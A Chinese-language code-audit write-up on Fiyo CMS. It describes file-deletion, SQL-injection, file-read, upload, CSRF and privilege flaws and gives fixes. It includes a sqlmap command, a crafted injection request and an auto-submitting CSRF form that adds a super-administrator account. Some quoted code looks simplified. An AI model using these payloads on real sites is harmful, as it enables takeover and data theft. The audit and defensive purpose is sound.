代码审计之Fiyo CMS案例分享
字数 1950 2025-08-18 11:37:20
Fiyo CMS 安全漏洞分析与防护指南
1. 系统概述
Fiyo CMS 是一款小型商务电话服务及移动合作工具,最初由一名职业学校学生在 SMK 10 三宝垄学习期间开发,原名 Sirion(Site Administration 的缩写)。
2. 漏洞分析
2.1 任意文件删除漏洞
漏洞位置: dapur\apps\app_config\controller\backuper.php
漏洞描述:
- 程序未对用户输入的 POST 参数进行过滤,直接与路径拼接
- 结合
unlink函数导致任意文件删除 - 该问题存在于 CMS 多处位置
漏洞代码:
// 第10行代码存在路径穿越问题
$file = $_POST['file']; // 未过滤用户输入
unlink($file); // 直接删除文件
2.2 SQL 注入漏洞
注入点一
漏洞位置: dapur\apps\app_user\controller\status.php
漏洞描述:
update方法中直接拼接$where变量- 可利用 SQLMap 进行验证
利用方法:
- 保存请求包为
headers.txt - 修改参数
id=1为id=1* - 执行命令:
sqlmap -r headers.txt --batch --dbs
注入点二
漏洞位置: system\function.php 中的 oneQuery 方法
漏洞代码:
function oneQuery($table,$field,$value,$output = null) {
$value = str_replace($value); // 过滤不充分
$query = FQuery($table,"$field='$value'",$output,null,null,$output,1);
return $query;
}
利用示例:
POST /fiyocms/dapur/index.php?app=menu&view=edit&id=126'`test%23&theme=blank HTTP/1.1
...
blank=true
2.3 文件读取漏洞
漏洞位置: dapur\apps\app_theme\libs\check_file.php
漏洞描述:
- 未过滤
$_GET['src']和$_GET['name']变量 - 结合
file_get_contents函数导致文件读取 - 限制:只能读取特定后缀文件(html、htm、xhtml、js、jsp、php、css、xml)
漏洞代码:
// 第5行代码未过滤输入
$file = $_GET['src'];
$content = file_get_contents($file);
2.4 任意文件上传漏洞
漏洞位置: 后台文件管理功能
漏洞描述:
- 未对上传文件进行路径检查和后缀名过滤
- 存在路径穿越问题
漏洞代码:
// 未过滤上传路径和文件名
$target_path = $_POST['path'];
move_uploaded_file($_FILES['file']['tmp_name'], $target_path);
2.5 CSRF 添加超级用户漏洞
漏洞位置: dapur\apps\app_user\sys_user.php
漏洞描述:
- 添加用户功能未使用 token 防护
- 可构造 CSRF 攻击页面添加超级管理员
POC 示例:
<html>
<body>
<form name="csrf" action="http://target/fiyocms/dapur/index.php?app=user&act=add" method="POST">
<input type="hidden" name="user" value="attacker" />
<input type="hidden" name="password" value="hacked" />
<input type="hidden" name="level" value="1" /> <!-- 超级管理员权限 -->
...
</form>
<script>document.csrf.submit();</script>
</body>
</html>
2.6 任意文件名修改漏洞
漏洞位置: dapur\apps\app_config\sys_config.php
漏洞描述:
- 修改后台路径功能未对输入进行过滤
- 可将
config.php改为config.txt直接查看配置
2.7 越权漏洞
漏洞位置: dapur\apps\app_user\sys_user.php
权限等级:
- Super Administrator (1)
- Administrator (2)
- Editor (3)
- Publisher (4)
- Member (5)
漏洞描述:
- 执行用户账户操作前未验证用户权限
- 低权限用户可执行高权限操作
3. 漏洞修复建议
3.1 文件操作类漏洞修复
- 对所有用户输入进行严格的路径过滤
- 使用
basename()函数处理文件名 - 限制文件操作目录范围
- 实现白名单机制限制可操作文件类型
3.2 SQL 注入修复
- 使用预处理语句(PDO 或 mysqli)
- 对所有动态 SQL 参数进行类型检查和转义
- 实现统一的数据库查询接口
3.3 CSRF 防护
- 为所有敏感操作添加 CSRF token
- 检查 Referer 头
- 关键操作使用 POST 方法
3.4 权限控制改进
- 实现严格的权限检查中间件
- 每次操作前验证用户权限
- 实现基于角色的访问控制(RBAC)
3.5 文件上传安全
- 限制上传文件类型(白名单)
- 随机化存储文件名
- 将上传文件存储在非 web 可访问目录
- 检查文件内容而不仅依赖扩展名
4. 审计方法论
- 功能导向审计:根据后台提供的功能快速定位相关代码
- 输入点追踪:关注所有用户可控输入点(GET/POST/COOKIE等)
- 危险函数检查:重点关注以下函数使用情况:
- 文件操作:
unlink,file_get_contents,move_uploaded_file - 数据库操作:直接拼接的 SQL 查询
- 系统命令:
exec,system,passthru
- 文件操作:
- 权限验证检查:验证所有敏感操作前的权限检查逻辑
5. 总结
Fiyo CMS 存在的主要安全问题包括:
- 普遍缺乏输入过滤,特别是路径相关操作
- 多处 SQL 注入风险
- 权限控制不严格
- 缺乏基本的安全防护机制(CSRF token 等)
开发人员应建立安全意识,对所有用户输入保持怀疑态度,实现统一的安全过滤机制,并定期进行代码安全审计。